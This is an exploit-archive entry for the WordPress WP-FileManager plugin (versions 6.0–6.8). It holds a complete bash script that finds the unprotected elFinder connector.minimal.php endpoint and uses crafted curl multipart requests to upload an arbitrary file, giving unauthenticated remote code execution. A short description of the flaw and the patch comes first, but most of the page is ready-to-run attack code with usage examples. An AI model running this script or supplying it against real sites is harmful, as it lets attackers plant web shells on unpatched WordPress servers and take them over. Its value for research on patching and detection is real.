WordPress WP-FileManager 6.8 Remote Code Execution

`# Exploit Title: WordPress Plugin Wp-FileManager 6.8 - RCE  
# Date: September 4,2020  
# Exploit Author: Mansoor R (@time4ster)  
# Version Affected: 6.0 to 6.8  
# Vendor URL: https://wordpress.org/plugins/wp-file-manager/  
# Patch: Upgrade to wp-file-manager 6.9  
# Tested on: wp-file-manager 6.0 (https://downloads.wordpress.org/plugin/wp-file-manager.6.0.zip)  
  
#Description:  
#The core of the issue began with the File Manager plugin renaming the extension on the elFinder library’s connector.minimal.php.dist file to .php so it could be executed directly, even though the connector file was not used by the File Manager itself. Such libraries often include example files that are not intended to be used “as-is” without adding access controls, and this file had no direct access restrictions, meaning the file could be accessed by anyone. This file could be used to initiate an elFinder command and was hooked to the elFinderConnector.class.php file  
  
#Using connector.minimal.php file attacker can upload arbitrary file to the target (unauthenticated) & thus can achieve Remote code Execution.  
  
#Patch commit details:  
# https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2373068%40wp-file-manager%2Ftrunk&old=2372895%40wp-file-manager%2Ftrunk&sfp_email=&sfph_mail=  
  
#Credits:  
#1. https://www.wordfence.com/blog/2020/09/700000-wordpress-users-affected-by-zero-day-vulnerability-in-file-manager-plugin/  
#2. https://seravo.com/blog/0-day-vulnerability-in-wp-file-manager/  
  
#!/bin/bash  
  
echo  
echo "============================================================================================"  
echo "wp-file-manager wordpress plugin Unauthenticated RCE Exploit By: Mansoor R (@time4ster)"  
echo "============================================================================================"  
echo  
  
function printHelp()  
{  
echo -e "  
Usage:  
  
-u|--wp_url Wordpress target url  
-f|--upload_file Absolute location of local file to upload on the target.  
-k|--check Only checks whether the vulnerable endpoint exists & have particular fingerprint or not. No file is uploaded.  
-v|--verbose Also prints curl command which is going to be executed  
-h|--help Print Help menu  
  
  
Example:  
./wp-file-manager-exploit.sh --wp_url https://www.example.com/wordpress --check  
./wp-file-manager-exploit.sh --wp_url https://wordpress.example.com/ -f /tmp/php_hello.php --verbose  
"  
}  
  
check="false"  
verbose="false"  
#Processing arguments  
while [[ "$#" -gt 0 ]]  
do  
key="$1"  
  
case "$key" in  
-u|--wp_url)  
wp_url="$2"  
shift  
shift # past argument  
;;  
-f|--upload_file)  
upload_file="$2"  
shift  
shift  
;;  
-k|--check)  
check="true"  
shift  
shift  
;;  
-v|--verbose)  
verbose="true"  
shift  
;;  
-h|--help)  
printHelp  
exit  
shift  
;;  
*)   
echo [-] Enter valid options  
exit  
;;  
esac  
done  
  
[[ -z "$wp_url" ]] && echo "[-] Supply wordpress target URL." && exit   
[[ ! -s "$upload_file" ]] && [[ "$check" == "false" ]] && echo "[-] Either supply --upload_file or --check" && exit  
  
#Script have dependency on jq  
jq_cmd=$(command -v jq)  
[[ -z "$jq_cmd" ]] && echo -e "[-] Script have dependency on jq. Insall jq from your package manager.\nFor debian based distro install using command: apt install jq" && exit  
  
function checkWPFileManager()  
{ #Takes 1 argument: url  
url="$1"  
target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"  
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"  
  
response=$(curl -ks --max-time 5 --user-agent "$user_agent" "$target_endpoint")  
#echo "$response"  
#{"error":["errUnknownCmd"]} is returned when vulnerable endpoint is hit  
is_vulnerable=$(echo "$response" | grep "\{\"error\":\[\"errUnknownCmd\"\]\}")  
[[ -n "$is_vulnerable" ]] && echo "[+] Target: $url is vulnerable"  
[[ -z "$is_vulnerable" ]] && echo "[-] Target: $url is not vulnerable"   
}  
  
function exploitWPFileManager()  
{ #Takes 3 arguments: url & file_upload & verbose(true/false)  
declare url="$1"  
declare file_upload="$2"  
declare verbose="$3"  
target_endpoint="$url/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"  
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"  
  
if [ "$verbose" == "true" ];then  
echo "curl POC :"  
echo "curl -ks --max-time 5 --user-agent \"$user_agent\" -F \"reqid=17457a1fe6959\" -F \"cmd=upload\" -F \"target=l1_Lw\" -F \"mtime[]=1576045135\" -F \"upload[]=@/$file_upload\" \"$target_endpoint\" "  
echo  
fi  
  
response=$(curl -ks --max-time 5 --user-agent "$user_agent" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" \  
-F "upload[]=@/$file_upload" \  
"$target_endpoint" )  
#echo "$response"  
file_upload_url=$(echo "$response" | jq -r .added[0].url 2>/dev/null)  
[[ -n "$file_upload_url" ]] && echo -e "[+] W00t! W00t! File uploaded successfully.\nLocation: $file_upload_url "  
[[ -z "$file_upload_url" ]] && echo "[-] File upload failed."  
}   
  
  
[[ "$check" == "true" ]] && checkWPFileManager "$wp_url"  
[[ -s "$upload_file" ]] && exploitWPFileManager "$wp_url" "$upload_file" "$verbose"  
  
echo  
  
`